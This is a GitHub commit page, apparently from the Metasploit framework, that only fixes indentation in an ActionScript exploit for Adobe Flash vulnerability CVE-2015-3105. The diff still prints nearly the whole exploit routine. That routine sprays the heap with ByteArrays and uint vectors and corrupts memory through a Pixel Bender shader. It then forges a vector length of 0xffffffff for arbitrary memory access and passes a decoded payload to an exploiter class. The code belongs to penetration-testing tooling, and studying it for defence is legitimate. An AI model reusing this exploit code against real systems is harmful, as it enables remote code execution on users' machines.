Skip to content

Commit e49c369

Browse files
jvazquez-r7jvazquez-r7
committed
Fix indentation
1 parent a87d4e5 commit e49c369

File tree

1 file changed

+107
-107
lines changed

1 file changed

+107
-107
lines changed

‎external/source/exploits/CVE-2015-3105/Exploit.as

Lines changed: 107 additions & 107 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ package
1010

1111
public class Exploit extends Sprite
1212
{
13-
private var uv:Vector.<uint>
13+
private var uv:Vector.<uint>
1414
private var canvas:Sprite
1515
private var filler_shader:Shader
1616
private var transformation_shader:Shader
@@ -45,7 +45,7 @@ package
4545
b64.decode(b64_payload)
4646
payload = b64.toByteArray()
4747

48-
canvas = new Sprite()
48+
canvas = new Sprite()
4949
addChild(canvas)
5050
var size:uint = 400
5151

@@ -57,71 +57,71 @@ package
5757

5858
private function do_exploit():void
5959
{
60-
setup_shaders()
61-
apply_shader_to_exploit()
62-
}
60+
setup_shaders()
61+
apply_shader_to_exploit()
62+
}
6363

64-
private function setup_shaders():void
64+
private function setup_shaders():void
6565
{
66-
transformation_shader = new Shader(new TransformationPbj())
66+
transformation_shader = new Shader(new TransformationPbj())
6767

68-
ba_vector = new Vector.<Object>(ba_vector_length)
69-
uint_vectors = new Vector.<Object>(uint_vectors_length)
68+
ba_vector = new Vector.<Object>(ba_vector_length)
69+
uint_vectors = new Vector.<Object>(uint_vectors_length)
7070

7171
// Initialize uint vectors
72-
for(var i:uint = 0; i < uint_vectors_length; i++) // 70000
73-
{
74-
uint_vectors[i] = new Vector.<uint>()
75-
}
76-
72+
for(var i:uint = 0; i < uint_vectors_length; i++) // 70000
73+
{
74+
uint_vectors[i] = new Vector.<uint>()
75+
}
76+
7777
// Allocate Byte Arrays
78-
for(i = 0; i < ba_vector_length; i++) // 5000
79-
{
80-
ba_vector[i] = new ByteArray()
81-
ba_vector[i].endian = "littleEndian"
82-
ba_vector[i].length = ba_length // 0x2000
83-
fill_byte_array(ba_vector[i], 0x35555555)
84-
ba_vector[i].writeInt(0xbabefac0)
85-
ba_vector[i].writeInt(0xbabefac1)
86-
ba_vector[i].writeInt(i)
87-
ba_vector[i].writeInt(0xbabefac3)
88-
}
78+
for(i = 0; i < ba_vector_length; i++) // 5000
79+
{
80+
ba_vector[i] = new ByteArray()
81+
ba_vector[i].endian = "littleEndian"
82+
ba_vector[i].length = ba_length // 0x2000
83+
fill_byte_array(ba_vector[i], 0x35555555)
84+
ba_vector[i].writeInt(0xbabefac0)
85+
ba_vector[i].writeInt(0xbabefac1)
86+
ba_vector[i].writeInt(i)
87+
ba_vector[i].writeInt(0xbabefac3)
88+
}
8989

90-
// Make holes
91-
for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000
92-
{
93-
fill_byte_array(ba_vector[i], 0x37777777)
94-
ba_vector[i].clear()
95-
ba_vector[i] = null
96-
}
90+
// Make holes
91+
for(i = 5000 / 3; i < ba_vector_length; i = i + 3) // 5000
92+
{
93+
fill_byte_array(ba_vector[i], 0x37777777)
94+
ba_vector[i].clear()
95+
ba_vector[i] = null
96+
}
9797

9898
// Setup shader
99-
filler_shader = new Shader(new FillerPbj()) //test_bin.pbj
100-
filler_shader.data.point1.value = [top_middle.x, top_middle.y]
99+
filler_shader = new Shader(new FillerPbj()) //test_bin.pbj
100+
filler_shader.data.point1.value = [top_middle.x, top_middle.y]
101101
filler_shader.data.point2.value = [bottom_left.x, bottom_left.y]
102-
filler_shader.data.point3.value = [bottom_right.x, bottom_right.y]
103-
}
102+
filler_shader.data.point3.value = [bottom_right.x, bottom_right.y]
103+
}
104104

105-
final private function fill_byte_array(ba:ByteArray, value:int):void
106-
{
105+
final private function fill_byte_array(ba:ByteArray, value:int):void
106+
{
107107
ba.position = 0
108108
var i:uint = 0
109-
while (i < ba.length / 4)
110-
{
111-
ba.writeInt(value)
112-
i = i + 1
113-
}
109+
while (i < ba.length / 4)
110+
{
111+
ba.writeInt(value)
112+
i = i + 1
113+
}
114114
ba.position = 0
115115
return
116116
}
117117

118-
private function apply_shader_to_exploit():void
119-
{
120-
try {
121-
filler_shader.data.point3 = transformation_shader.data.positionTransformation27
122-
} catch(err:Error) {
123-
Logger.log("Error!")
124-
}
118+
private function apply_shader_to_exploit():void
119+
{
120+
try {
121+
filler_shader.data.point3 = transformation_shader.data.positionTransformation27
122+
} catch(err:Error) {
123+
Logger.log("Error!")
124+
}
125125

126126
filler_shader.data.color1.value = [1, 1, 1, 1]
127127

@@ -137,45 +137,45 @@ package
137137
var test:uint
138138
var mod_idx:uint = 0xffffffff
139139
for(var i:uint = 0; i< ba_vector_length; i++) { // 5000
140-
if (ba_vector[i] != null) {
141-
ba_vector[i].position = 32
142-
test = ba_vector[i].readUnsignedInt()
143-
if (test != 0x35555555) {
140+
if (ba_vector[i] != null) {
141+
ba_vector[i].position = 32
142+
test = ba_vector[i].readUnsignedInt()
143+
if (test != 0x35555555) {
144144
mod_idx = i
145-
break
146-
}
147-
}
148-
}
145+
break
146+
}
147+
}
148+
}
149149

150150
if (mod_idx == 0xffffffff) {
151151
Logger.log("[*] Exploit - apply_shader_to_exploit(): Modified ba not found... aborting")
152152
return
153153
}
154154

155-
// Clear the modified BA, we need a hole there =)
156-
fill_byte_array(ba_vector[mod_idx], 0x39999999)
157-
ba_vector[mod_idx].clear()
158-
ba_vector[mod_idx] = null
159-
160-
// Fill the BA space with well positioned Vector.<uint>'s, hopefully...
161-
for(i = 0; i < uint_vectors_length; i++) // 70000
162-
{
163-
uint_vectors[i].length = 0x13e
164-
uint_vectors[i][0] = 0xcccccccc
165-
uint_vectors[i][1] = i
166-
uint_vectors[i][2] = 0xaaaaaaaa
167-
}
168-
155+
// Clear the modified BA, we need a hole there =)
156+
fill_byte_array(ba_vector[mod_idx], 0x39999999)
157+
ba_vector[mod_idx].clear()
158+
ba_vector[mod_idx] = null
159+
160+
// Fill the BA space with well positioned Vector.<uint>'s, hopefully...
161+
for(i = 0; i < uint_vectors_length; i++) // 70000
162+
{
163+
uint_vectors[i].length = 0x13e
164+
uint_vectors[i][0] = 0xcccccccc
165+
uint_vectors[i][1] = i
166+
uint_vectors[i][2] = 0xaaaaaaaa
167+
}
168+
169169
// Corrupt again, hopefully one of our vector lengths =)
170170
canvas.graphics.beginShaderFill(filler_shader)
171171

172172
var corrupted:uint = 0xffffffff
173-
for(i = 0; i < uint_vectors_length; i++) // 70000
174-
{
175-
if (uint_vectors[i].length != 0x13e) {
173+
for(i = 0; i < uint_vectors_length; i++) // 70000
174+
{
175+
if (uint_vectors[i].length != 0x13e) {
176176
corrupted = i
177-
break
178-
}
177+
break
178+
}
179179
}
180180

181181
if (corrupted == 0xffffffff) {
@@ -184,54 +184,54 @@ package
184184
}
185185

186186
var offset:uint = 0xffffffff
187-
for(i = 0; i < 2048; i++)
188-
{
189-
if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc)
190-
{
191-
uint_vectors[corrupted][i] = 0xffffffff
187+
for(i = 0; i < 2048; i++)
188+
{
189+
if (uint_vectors[corrupted][i] == 0x13e && uint_vectors[corrupted][i+2] == 0xcccccccc)
190+
{
191+
uint_vectors[corrupted][i] = 0xffffffff
192192
offset = i
193-
break
194-
}
195-
}
193+
break
194+
}
195+
}
196196

197197
if (offset == 0xffffffff) {
198198
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector for manual corruption not found... aborting")
199199
return
200200
}
201201

202-
for(i = 0; i < uint_vectors_length; i++) // 70000
203-
{
204-
if (uint_vectors[i].length == 0xffffffff) {
205-
uv = uint_vectors[i]
206-
break
207-
}
208-
}
202+
for(i = 0; i < uint_vectors_length; i++) // 70000
203+
{
204+
if (uint_vectors[i].length == 0xffffffff) {
205+
uv = uint_vectors[i]
206+
break
207+
}
208+
}
209209

210210
if (uv == null) {
211211
Logger.log("[*] Exploit - apply_shader_to_exploit(): Vector manually corrupted not found... aborting")
212212
return
213213
}
214214

215-
var my_offset:uint = 0x3ffffffe - offset - 2
216-
uv[my_offset] = 0x13e
217-
215+
var my_offset:uint = 0x3ffffffe - offset - 2
216+
uv[my_offset] = 0x13e
217+
218218
for(i = 0; i < ba_vector_length; i++) { // 5000
219-
if (ba_vector[i] != null) {
220-
ba_vector[i].clear()
221-
ba_vector[i] = null
222-
}
223-
}
219+
if (ba_vector[i] != null) {
220+
ba_vector[i].clear()
221+
ba_vector[i] = null
222+
}
223+
}
224224

225-
for(i = 0; i < uint_vectors_length; i++) // 70000
226-
{
227-
if (uint_vectors[i].length != 0xffffffff) {
225+
for(i = 0; i < uint_vectors_length; i++) // 70000
226+
{
227+
if (uint_vectors[i].length != 0xffffffff) {
228228
delete(uint_vectors[i])
229-
uint_vectors[i] = null
230-
}
231-
}
229+
uint_vectors[i] = null
230+
}
231+
}
232232

233233
exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
234-
}
234+
}
235235

236236
}
237237
}

0 commit comments

Comments
 (0)